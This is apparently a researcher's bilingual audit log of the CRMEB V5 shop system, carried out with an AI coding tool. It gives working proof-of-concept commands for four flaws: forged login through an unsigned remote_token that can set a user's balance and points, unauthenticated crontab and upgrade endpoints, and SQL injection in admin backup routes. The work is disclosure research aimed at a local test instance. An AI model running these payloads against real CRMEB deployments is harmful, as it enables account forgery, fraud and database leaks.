CRMEB V5 Code Audit Record with CodeX
I tried to do some code audits on the CRMEB using CodeX. CodeX can automatically build a test environment and also found some vulnerabilities.
In this code audit, CodeX did an excellent job and uncovered several vulnerabilities. Although it still cant achieve RCE, its performance is already impressive for such a large-scale project, in my opinion.
I also performed audits on the ThinkPHP framework with CodeX, unfortunately, i didn't discover any vulnerabilities. Perhaps my method was incorrect.
On the CRMEB system, I used Codex and found a total of 4 vulnerabilities as listed below. However, it seems only the last backend SQLi is actually useful; the others are pretty much useless.
Finally, perhaps the system really doesn't have any more effective vulnerabilities. They have safe code.
1. remote_register 未验签导致任意用户伪造登录/账户字段覆盖(Critical)
位置
LoginController.php (line 545)
LoginServices.php (line 502)
根因
remote_token 仅做 base64url decode + json decode,未做 JWT 签名校验。
信任客户端传入的 uid/nickname/now_money/integral/exp 并写库,然后签发正式 API token。
利用条件
仅需可访问 /api/remote_register,无需登录。
与 APP_DEBUG 无关。
PoC
RT=$(python3 - <<'PY' import base64, json, time p={"uid":1234567,"phone":"","nickname":"poc_remote","avatar":"","now_money":"88888.88","integral":99999,"exp":"12345","exp_time":int(time.time())+3600} print(base64.urlsafe_b64encode(json.dumps(p,separators=(',',':')).encode()).decode().rstrip('=')) PY )
curl -s "http://127.0.0.1:8011/api/remote_register?remote_token=$RT" | jq TOK=$(curl -s "http://127.0.0.1:8011/api/remote_register?remote_token=$RT" | jq -r '.data.token')
curl -s "http://127.0.0.1:8011/api/userinfo" -H "Authorization: Bearer $TOK" | jq预期
返回“登录成功”并拿到 token。
userinfo 显示为伪造 uid。
若 uid 改为已存在用户(如 1),可覆盖该用户部分字段。
2. crontab/* 接口未授权可调用(High)
位置
v1.php (line 510)
AuthTokenMiddleware.php (line 38)
根因
crontab 路由位于 AuthTokenMiddleware(false) 组,鉴权非强制。
匿名请求可触发系统任务。
利用条件
仅需可访问 /api/crontab/*,无需登录。
与 APP_DEBUG 无关。
PoC
curl -i "http://127.0.0.1:8011/api/crontab/check"
for p in run order_cancel pink_expiration agent_unbind take_delivery product_replay clear_poster; do
code=$(curl -s -o /tmp/out -w "%{http_code}" "http://127.0.0.1:8011/api/crontab/$p")
echo "$p -> HTTP $code"
done预期
匿名请求返回 200。
check 会写入 runtime/.timer(任务链路被外部触发)。
3. adminapi/upgrade/run 未授权 + 可控 SQL 语义(版本条件触发)(Medium/High)
位置
route.php (line 22)
UpgradeController.php
根因
upgrade/run 在“无需授权接口”。
prefix 参与 SQL 模板拼接,存在可控 SQL 语义。
仅当升级 SQL 路径执行时触发(与 .version_code 状态相关)。
利用条件
目标处于可触发升级 SQL 的状态(如当前版本号低于可升级版本)。
PoC(本地验证思路)
# 先把 version_code 降低到可触发升级(测试后记得恢复)
printf 'version=0.0.1\nversion_code=1\n' > crmeb/.version
curl 'http://127.0.0.1:8011/adminapi/upgrade/run?sleep=0&page=1&prefix=eb_diy%60%20where%201=1%20%23'
curl 'http://127.0.0.1:8011/adminapi/upgrade/run?sleep=0&page=1&prefix=eb_diy%60%20where%201=2%20%23'
curl 'http://127.0.0.1:8011/adminapi/upgrade/run?sleep=0&page=1&prefix=noexist_'预期
条件 payload 产生不同执行/报错行为。
noexist_ 可出现类似 Table 'crmeb.noexist_diy' doesn't exist,泄露库名。
APP_DEBUG=false 下仍可能返回异常信息(catch 里直接回显 message)。
4. 最后一个后台sql注入
system/backup/read 后台认证 SQL 注入(可稳定复现)
位置:SystemDatabackupServices.php (line 68)
根因:tablename 直接拼接进 SQL:
... where table_name = '" . $tablename . "' ...利用条件:需要后台登录 token(管理员/有该路由权限角色)。
危害:可越权读取 information_schema 元数据(表/列结构大范围泄露),为后续注入打点。
PoC:
# 先拿后台 token TOK=$(curl -s 'http://127.0.0.1:8011/adminapi/login' \ -H 'Content-Type: application/json' \ -d '{"account":"admin","pwd":"123456"}' | sed -n 's/.*"token":"\([^"]*\)".*/\1/p') # 正常请求 count(示例 55) curl -s "http://127.0.0.1:8011/adminapi/system/backup/read?tablename=eb_user" \ -H "Authori-zation: Bearer $TOK" | sed -n 's/.*"count":\([0-9]*\).*/normal_count=\1/p' # 注入后 count(示例 5478) curl -s "http://127.0.0.1:8011/adminapi/system/backup/read?tablename=%27%20OR%201=1%23" \ -H "Authori-zation: Bearer $TOK" | sed -n 's/.*"count":\([0-9]*\).*/inject_count=\1/p'system/database/update_mark SQL 拼接导致语义可控与错误泄露
位置:SystemDatabackup.php (line 76)
根因:table/field/type/mark 拼接进 ALTER TABLE ... / SHOW FULL COLUMNS ...,无参数化与白名单。
利用条件:需要后台登录 token。
危害:可触发 SQL 错误回显(泄露数据库错误细节);在特定语句构造下有进一步 SQL 语义操控风险。
PoC(错误回显):
curl -s 'http://127.0.0.1:8011/adminapi/system/database/update_mark' \ -H "Authori-zation: Bearer $TOK" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data "table=%27&field=&type=&mark=abc&is_field=0"结论
目前没再发现新的“未授权直接RCE/接管后台”级别漏洞。
你之前两条仍是最高价值:
remote_register 未验签(Critical) + crontab 未授权触发(High)。若“后台 token 可伪造”也成立,则上述后台 SQL 注入风险会被放大成高危链路。